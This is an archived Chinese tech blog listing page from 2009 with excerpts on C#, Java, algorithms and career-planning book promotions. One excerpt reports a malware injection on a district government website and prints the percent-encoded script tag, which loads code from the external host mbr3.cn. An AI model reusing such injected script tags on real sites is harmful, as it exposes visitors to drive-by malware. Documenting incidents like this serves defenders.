自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(79)
  • 收藏
  • 关注

程序员到CTO还需要大补什么营养

程序员到CTO还需要大补什么营养本文选自《我也能做CTO之程序员职业规划 》一书 2006~2009 微软全球最有价值专家、MSDN中文技术论坛版主 CSDN Blog专家、社区专家、荣誉专家 CSDN社区ASP.Net版块版主、Asp.net控件/组件开发版块版主。荣获《DevWOW 2008/2009两届微软博客达人》优胜奖。荣获微软《最有影响力开发者》奖项,著有《庖丁解牛:纵...

2009-07-31 08:43:00 68

理解C#垃圾回收机制

很多系统都有其自身的垃圾回收,其回收机制大体是相同的。它们使程序员从跟踪内存使用的繁重任务中解脱出来。虽然大多数回收器都要求应用程序不时地暂停从而释放不再使用的内存。但C#中的回收器效率还是很高的。 垃圾回收器的基本假定: 1.被分配内存空间的对象最有可能被释放。在方法执行时,就需要为该方法的对象分配内存空间,搜索最近分配的对象集合有助于花费最少的代价来尽可能多地释放内存空间。 2.生命期最长的...

2009-07-30 17:58:00 62

理解C#垃圾回收机制

很多系统都有其自身的垃圾回收,其回收机制大体是相同的。它们使程序员从跟踪内存使用的繁重任务中解脱出来。虽然大多数回收器都要求应用程序不时地暂停从而释放不再使用的内存。但C#中的回收器效率还是很高的。 垃圾回收器的基本假定: 1.被分配内存空间的对象最有可能被释放。在方法执行时,就需要为该方法的对象分配内存空间,搜索最近分配的对象集合有助于花费最少的代价来尽可能多地释放内存空间。 2.生命期最长的...

2009-07-30 17:58:00 62

理解C#垃圾回收机制

很多系统都有其自身的垃圾回收,其回收机制大体是相同的。它们使程序员从跟踪内存使用的繁重任务中解脱出来。虽然大多数回收器都要求应用程序不时地暂停从而释放不再使用的内存。但C#中的回收器效率还是很高的。 垃圾回收器的基本假定: 1.被分配内存空间的对象最有可能被释放。在方法执行时,就需要为该方法的对象分配内存空间,搜索最近分配的对象集合有助于花费最少的代价来尽可能多地释放内存空间。 2.生命期最长的...

2009-07-30 17:58:00 61

排序算法

今天我先写两个时间复杂度为0(N^2)的排序算法,明天继续,1. 我们最熟悉的冒泡排序,// Bubble sortvoid BubbleSort(int *pData,int count){ int iTemp; for(int i = 1; i < count; i++) { for(int j = count -1; j >= i; j--)...

2009-07-30 17:49:00 74

排序算法

今天我先写两个时间复杂度为0(N^2)的排序算法,明天继续,1. 我们最熟悉的冒泡排序,// Bubble sortvoid BubbleSort(int *pData,int count){ int iTemp; for(int i = 1; i < count; i++) { for(int j = count -1; j >= i; j--)...

2009-07-30 17:49:00 62

排序算法

今天我先写两个时间复杂度为0(N^2)的排序算法,明天继续,1. 我们最熟悉的冒泡排序,// Bubble sortvoid BubbleSort(int *pData,int count){ int iTemp; for(int i = 1; i < count; i++) { for(int j = count -1; j >= i; j--)...

2009-07-30 17:49:00 67

IT技术人需要具备哪些才能成功

IT技术人需要具备哪些才能成功本文选自《我也能做CTO之程序员职业规划 》一书 作为一个技术出身的IT人,几年的打拼令我深知,结识良师益友,找到合适的工作环境,结合自己的特点,遇到适合的人和项目,经正确的职业规划,才能成功。《我也能做CTO》确实是成功路上的一本好书,它将指引你如何走好IT人职业生涯的每一步。 本书以情景对话的模式,向读者展示不同身份的人对同一事物不同角度的不同...

2009-07-30 08:50:00 80

Java NIO.2 AIO 高性能服务器程序实例

Server:package aio;import java.io.IOException;import java.net.InetSocketAddress;import java.nio.ByteBuffer;import java.nio.channels.AsynchronousChannelGroup;import java.nio.channels.As...

2009-07-29 10:11:00 62

如何快速地真正的融入IT行业

如何快速地真正的融入IT行业本文选自《我也能做CTO之程序员职业规划 》一书 对Windows Mobile开发方面有丰富的经验,对企业中使用移动技术及其通信结构有深厚的了解,熟悉ASP.NET,WCF,WebService,Remoting等技术。 如何快速地融入这个行业,如何在行业中找到自己的最终目标,如何才能不断地提升自己,最终实现人生的多丰收。相信通过看完此书后,目前正...

2009-07-29 08:49:00 97

程序员的职业生涯像一盘棋 行棋者由谁?

程序员的职业生涯像一盘棋 行棋者由谁?本文选自《我也能做CTO之程序员职业规划 》一书 职业生涯——尤其是程序员的职业生涯——是理性的,就像一盘棋。任何一种棋,棋子、棋盘和行棋规则都是固定不变的;然而,每一局棋的局面演进和最终结果都不尽相同。这其中的差别,就在于行棋的套路不同。 只了解棋子、棋盘和行棋规则,就期冀依靠聪明才智成为职业棋手是远远不够的。职业棋手和业余棋手的区别就在...

2009-07-28 08:02:00 87

软件测试的重要性

最近接手一个新的任务:在公司产品的现有基础上做修补.面临的主要困难有:1.项目较大,vs的解决方案里18个项目.(虽然我只须维护其中的一两个项目)2.涉及新的技术,比如说多进程,多线程,网络通讯,wmi,adsi,iis,系统服务等等.3.某些代码实现较复杂,如线程通讯,wmi等.这些函数的相互依赖,也就是平时说的藕合度高,现在我要将它分离,分到单独的项目里.但是这样又要求我对这些复杂...

2009-07-27 16:16:00 183

软件测试的重要性

最近接手一个新的任务:在公司产品的现有基础上做修补.面临的主要困难有:1.项目较大,vs的解决方案里18个项目.(虽然我只须维护其中的一两个项目)2.涉及新的技术,比如说多进程,多线程,网络通讯,wmi,adsi,iis,系统服务等等.3.某些代码实现较复杂,如线程通讯,wmi等.这些函数的相互依赖,也就是平时说的藕合度高,现在我要将它分离,分到单独的项目里.但是这样又要求我对这些复杂...

2009-07-27 16:16:00 223

北京市平谷区交通局网站被挂马

2009年07月22日 星期三 11:232009-7-22 11:00hxxp://jtj.bjpg.gov.cn首页底部挂马:<script src=http://%6D%62%72%33%2E%63%6E></script>Unescape解密得到:mbr3.cnmbr3.cn内容如下if (document.location...

2009-07-27 10:06:00 132

多年经验的程序员迷失了自己,该怎么办?

多年的程序员迷失了自己,该怎么办?本文选自《我也能做CTO之程序员职业规划 》一书 我应该朝哪个方向发展?我不做这行还能做什么?当现实情况与理想目标之间的差距越拉越大时,大多数刚入行的IT人员都会提出这样的问题,当然这些问题也时常困扰着我。之所以这样,是因为我们对自己的定位不够准确,不知道该去如何规划自己的职业生涯。人人都在反思,但最终却只有少数人能够在反思中得到提升,最终走向...

2009-07-27 08:18:00 60

快速找到由程序员到CTO发展道路上的问路石

快速找到由程序员到CTO发展道路上的问路石本文选自《我也能做CTO之程序员职业规划 》一书 高阳兄发过来本书前六章样章时,我正在上班,任务比较紧,精神高度集中,却还是止不住地走神要翻来看看。下班之后更是利用一个晚上的时间一口气读完,意犹未尽,真希望早日出版买来细细拜读。当然,我是站在读者而不是朋友的角度来审视本书的。 书如其人,平日里与高兄接触就会感觉到他思维的畅快与深远,他可...

2009-07-24 07:28:00 61

求最大子序列之和

今天一下午在看sharepoint了,又有活干,所以时间比较紧凑,于是想起了前些日子写的求最大子序列之和,作为每日一小题吧,暂做自我安慰吧。求最大子序列之和,主要要注意他的效率,1,算法复杂度是O( pow( n, 2 ) )int max_sub(int a[], int size){ int i, j, v, max = a[0]; for(int i = ...

2009-07-23 17:40:00 69

求最大子序列之和

今天一下午在看sharepoint了,又有活干,所以时间比较紧凑,于是想起了前些日子写的求最大子序列之和,作为每日一小题吧,暂做自我安慰吧。求最大子序列之和,主要要注意他的效率,1,算法复杂度是O( pow( n, 2 ) )int max_sub(int a[], int size){ int i, j, v, max = a[0]; for(int i = ...

2009-07-23 17:40:00 76

求最大子序列之和

今天一下午在看sharepoint了,又有活干,所以时间比较紧凑,于是想起了前些日子写的求最大子序列之和,作为每日一小题吧,暂做自我安慰吧。求最大子序列之和,主要要注意他的效率,1,算法复杂度是O( pow( n, 2 ) )int max_sub(int a[], int size){ int i, j, v, max = a[0]; for(int i = ...

2009-07-23 17:40:00 55

如何做好IT人的职业规划

要当CTO,这样的书不能不看本文选自《我也能做CTO之程序员职业规划 》一书作为一个IT人,能有机会帮高阳先生写此书的书评,我感到非常荣幸。我与高阳先生的结识源自于一个偶然的机会,高阳先生的谈吐深深地让笔者折服。如果您是微软技术忠实的关注者,您就会发现其实早在2008年,高阳先生就做过IT人职业规划的讲座,而笔者也有幸与高阳先生合作,参与了那次的演讲。对于IT人的职业规划,...

2009-07-23 09:41:00 188

两个数组合并

好久没写c/c++程序了,手脑都迟钝了老些,希望自己能够通过没日一小题来提高自己,锻炼自己。今日题目是,“两个已经排好序的数组,合并他们并使他们也排好序”。程序如下:希望高手们来指教。。int * MergeArray(int *a,int len1, int *b,int len2){ int *c = new int(sizeof(int) * (len1 + len2));...

2009-07-22 17:37:00 75

两个数组合并

好久没写c/c++程序了,手脑都迟钝了老些,希望自己能够通过没日一小题来提高自己,锻炼自己。今日题目是,“两个已经排好序的数组,合并他们并使他们也排好序”。程序如下:希望高手们来指教。。int * MergeArray(int *a,int len1, int *b,int len2){ int *c = new int(sizeof(int) * (len1 + len2));...

2009-07-22 17:37:00 71

两个数组合并

好久没写c/c++程序了,手脑都迟钝了老些,希望自己能够通过没日一小题来提高自己,锻炼自己。今日题目是,“两个已经排好序的数组,合并他们并使他们也排好序”。程序如下:希望高手们来指教。。int * MergeArray(int *a,int len1, int *b,int len2){ int *c = new int(sizeof(int) * (len1 + len2));...

2009-07-22 17:37:00 74

从程序员到CTO也可以走捷径

要当CTO,这样的书不能不看本文选自《我也能做CTO之程序员职业规划》一书 微软C# MVP 高级软件工程师、机械工程硕士、《你必须知道的.NET》一书作者。对.NET基础架构和CLR运行机制有浓厚的研究兴趣和造诣,熟悉ASP.NET、WCF和Silverlight相关技术开发。 鲁迅先生说过,地上本没有路,走的人多了也就成了路。而软件这条路,走的人很多,走好的不多,这大概...

2009-07-22 09:37:00 49

读技术书,最有效的手段是把例子亲手做一次,如果没有例子就按作者的意图给他加一个适当的例子.........

读技术书,最有效的手段是把例子亲手做一次,如果没有例子就按作者的意图给他加一个适当的例子......

2009-07-21 17:58:00 58

Java&CORBA编程实例2

Java&CORBA编程实例2要熟练掌握CORBA也并不容易。本文再提供一个Java与CORBA编程的例子,以进一步加深对CORBA的认识。一、编写IDL文件counter.idl源码:module CounterApp{ interface Counter{ readonly attribute long value; void inc(); v...

2009-07-21 11:26:00 93

微软全球MVP教你如何由程序员到CTO

微软全球MVP教你如何规划程序人生本文选自《我也能做CTO之程序员职业规划》一书 有志者事竟成,做事首先要谈做人,作者作为一名软件行业修炼多年的老兵,为人刚正不阿,自强不息、始终坚持理想,坚持为IT技术社区奉献知识和力量。 高阳,连续两届微软全球最有价值专家,微软(北京).NET俱乐部讲师,我的挚友和良师。高阳曾在多家知名软件企业担任CTO、架构师、技术总监等职位,具备丰富...

2009-07-21 08:17:00 71

程序员如何在未来之路寻找自己的“龙椅”

程序员如何在未来寻找自己的“龙椅”本文选自《我也能做CTO之程序员职业规划》一书段君毅 微软(中国)开发平台合作部 技术经理、微软最有价值专家(MVP)TechED、Webcast特约讲师。有十多年微软技术平台开发经验,曾在加拿大与国外开发人员和团队进行协同工作,曾为很多知名大型软件企业提供基于微软技术的解决方案、培训及顾问。 与高阳相识多年,敬佩他的技术和管理才能,非...

2009-07-20 08:53:00 58

为什么这本书大家都称好

为什么这本书大家都称赞是好书本文来自豆瓣网对《网上支付:网商成功之道》的书评书评转载于 豆瓣网2009-04-21 背后有实战经验 琅琊王 这本书不是泛泛的介绍几种支付接口的相关情况,所涉及到每一种第三方支付网关的介绍背后都有作者相关企业商业活动运转中实际运用的经验在支撑 如果您是外向型企业的运作者,也许单从本书的文字中,您还是不甚明了,那么,推荐您与作者取得联系,面...

2009-07-17 12:59:00 55

Playing with OS(操作系统)

博文视点大讲堂12期Playing with OS(操作系统) 2005年的畅销书《自己动手写操作系统》曾让很多读者燃起实践的热情,从而开始一段奇妙的操作系统旅程。经过四年的磨练,该书作者于渊于今年6月推出了第二版《Orange'S:一个操作系统的实现》。为配合新书全国上市,博文视点大讲堂特邀于渊先生现场说法,和您一起玩转操作系统。 有不少读者质疑:现在软件编程主要领域...

2009-07-17 08:31:00 125

JSTL自定义标签问题

According to TLD or attribute directive in tag file, attribute test does not accept any expressions 解决办法:  在代码的最前面加上<%@ page isELIgnored ="true" %>,就可以编译了,程序运行结果也正确。JSTL的问题(According to ...

2009-07-16 19:39:00 66

Java&CORBA编程实例

Java&CORBA编程实例Java IDL技术在Java平台上添加了CORBA(Common Object Request Broker Architecture)功能,提供了基于标准的互操作能力和连接性。Java IDL技术使得分布式的Java Web应用能够通过使用工业标准的IDL和IIOP(Internet Inter-ORB Protocol)来透明地调用远程网络服务的操...

2009-07-16 13:45:00 67

蒋涛:《Orange’S:一个操作系统的实现》属于真正Hacker的

做真正Hacker 的乐趣──自己动手去实践本文选自《Orange'S:一个操作系统的实现》一书 序言 2004 年我听编辑说有个年轻人写了本《自己动手写操作系统》,第一反应是不可能,恐怕是翻译稿,写这种书籍是要考作者硬功夫的,不但需要深入掌握操作系统的原理,还需要实际动手写出原型。 历史上的Linux 就是这么产生的,Linus Torvalds 当时是一名赫尔辛基大学计...

2009-07-16 09:00:00 72

博文视点Open Party——PPT演示专家秘技 报名中

博文视点Open Party第三期:PPT演示专家秘技 7月26日,中关村图书大厦(左岸公社)1115房间,博文视点Open Party第三期即将亮相。 本期活动诚邀国内各路演讲达人、PPT设计达人,齐聚一堂,为您讲述图书之外更多的珍藏秘技;亲切随意的沙龙聚会,为您创造了一个零距离接触权威的机会,也会给您带来全新体验和全面收获。在这里, 您可以与多位专家共饮咖啡、交流思想;...

2009-07-16 08:43:00 63

常用软件列表

windows 截图工具:picpick ,挺好的的工具安装程序制作:nisedit 和nsisnisedit 是一个编辑器, 用来编译安装脚本;nsis 则执行脚本, 生成安装程序,如果要在安装前后执行一定的操作, 可以使用它的插件功能:nsis的安装目录里有Plugins 目录, 里面放的都是dll ...

2009-07-15 18:44:00 60

常用软件列表

windows 截图工具:picpick ,挺好的的工具安装程序制作:nisedit 和nsisnisedit 是一个编辑器, 用来编译安装脚本;nsis 则执行脚本, 生成安装程序,如果要在安装前后执行一定的操作, 可以使用它的插件功能:nsis的安装目录里有Plugins 目录, 里面放的都是dll ...

2009-07-15 18:44:00 128

ASP.NET页面生命周期与应用程序生命周期

页面生命周期页面生命周期执行一系列步骤:页面的初始化、实例化控件、还原和维护状态、运行事件处理程序代码、呈现。为了在合适的阶段执行所需的代码,所以要对页面生命周期非常熟悉。在页生命周期的各个阶段,页面会逐个引发定义的事件,通过对代码开发,在页面的生命事件中执行我们所需要的程序页生命周期阶段1、 页请求:发生在页面生命周期之前,用户请求页时,ASP.NET将确定是否需要分析和编译页,从而...

2009-07-15 13:06:00 49

ASP.NET页面生命周期与应用程序生命周期

页面生命周期页面生命周期执行一系列步骤:页面的初始化、实例化控件、还原和维护状态、运行事件处理程序代码、呈现。为了在合适的阶段执行所需的代码,所以要对页面生命周期非常熟悉。在页生命周期的各个阶段,页面会逐个引发定义的事件,通过对代码开发,在页面的生命事件中执行我们所需要的程序页生命周期阶段1、 页请求:发生在页面生命周期之前,用户请求页时,ASP.NET将确定是否需要分析和编译页,从而...

2009-07-15 13:06:00 45

ASP.NET页面生命周期与应用程序生命周期

页面生命周期页面生命周期执行一系列步骤:页面的初始化、实例化控件、还原和维护状态、运行事件处理程序代码、呈现。为了在合适的阶段执行所需的代码,所以要对页面生命周期非常熟悉。在页生命周期的各个阶段,页面会逐个引发定义的事件,通过对代码开发,在页面的生命事件中执行我们所需要的程序页生命周期阶段1、 页请求:发生在页面生命周期之前,用户请求页时,ASP.NET将确定是否需要分析和编译页,从而...

2009-07-15 13:06:00 51

程序员到CTO必须注意的几个关键点

程序员到CTO必须注意的几个关键点本文选自《我也能做CTO之程序员职业规划》一书写在前面的话 Hi,大家好!我是高阳。这本书,终于要与大家见面了,我心里非常激动!在写这本书的每一个日子里,我以往十几年的一些工作片断如同放电影一样在我脑海里一遍又一遍地播放着,因为有太多体会,所以想通过这本书真诚地与大家分享。本书缘起 那么我为什么要写一本职业规划的图书呢?我曾面试...

2009-07-15 08:32:00 81

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除